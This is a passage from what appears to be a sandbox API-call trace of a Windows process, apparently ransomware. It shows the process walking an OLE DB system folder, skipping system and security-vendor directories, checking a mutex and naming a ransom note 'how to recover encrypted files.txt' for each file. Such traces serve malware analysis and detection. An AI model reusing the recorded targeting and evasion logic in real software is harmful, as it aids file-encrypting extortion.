lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0057.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@翬R企@\x18?T\x18\x81")) returned 0xffffffff [0057.091] GetLastError () returned 0x2 [0057.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0057.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@練R企@\x18?T\x18\x88")) returned 0xffffffff [0057.093] GetLastError () returned 0x2 [0057.093] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0057.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@劔U企@\x18?T\x18\x8f")) returned 0xffffffff [0057.095] GetLastError () returned 0x2 [0057.095] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.095] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0057.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="缤R䱠@翬R企@\x18?T\x18\x97")) returned 0xffffffff [0057.097] GetLastError () returned 0x2 [0057.097] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.097] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.097] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.097] GlobalUnlock (hMem=0x440004) returned 0 [0057.097] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.097] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.097] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.097] GlobalUnlock (hMem=0x440004) returned 0 [0057.097] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.097] GlobalUnlock (hMem=0x44000c) returned 0 [0057.097] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.097] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.098] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.098] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0057.098] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.098] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.098] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.098] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.098] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.099] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.099] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.099] GlobalUnlock (hMem=0x44000c) returned 0 [0057.099] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.099] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.099] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.099] GlobalUnlock (hMem=0x44000c) returned 0 [0057.099] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.099] GlobalUnlock (hMem=0x440004) returned 0 [0057.099] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0057.099] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0057.099] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0057.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0057.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0057.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0057.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0057.101] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0057.101] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0057.101] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.101] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.101] GlobalUnlock (hMem=0x440004) returned 0 [0057.101] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.101] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.101] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.101] GlobalUnlock (hMem=0x440004) returned 0 [0057.101] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.101] GlobalUnlock (hMem=0x44000c) returned 0 [0057.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.102] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.102] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.102] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0057.102] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0057.102] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.102] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.102] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.102] GlobalUnlock (hMem=0x44000c) returned 0 [0057.102] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.102] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.102] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.103] GlobalUnlock (hMem=0x44000c) returned 0 [0057.103] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.103] GlobalUnlock (hMem=0x440004) returned 0 [0057.103] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.103] CharLowerBuffW (in: lpsz="msdaosp.dll", cchLength=0xb | out: lpsz="msdaosp.dll") returned 0xb [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll", cchWideChar=55, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll", lpUsedDefaultChar=0x0) returned 55 [0057.103] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\msdaosp.dll", lpUsedDefaultChar=0x0) returned 4 [0057.104] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0057.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.104] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.104] CharLowerBuffW (in: lpsz="msdaps.dll", cchLength=0xa | out: lpsz="msdaps.dll") returned 0xa [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll", cchWideChar=54, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dllc", lpUsedDefaultChar=0x0) returned 54 [0057.104] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\msdaps.dllc", lpUsedDefaultChar=0x0) returned 4 [0057.105] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0057.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.105] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.105] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.105] CharLowerBuffW (in: lpsz="msdasql.dll", cchLength=0xb | out: lpsz="msdasql.dll") returned 0xb [0057.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, 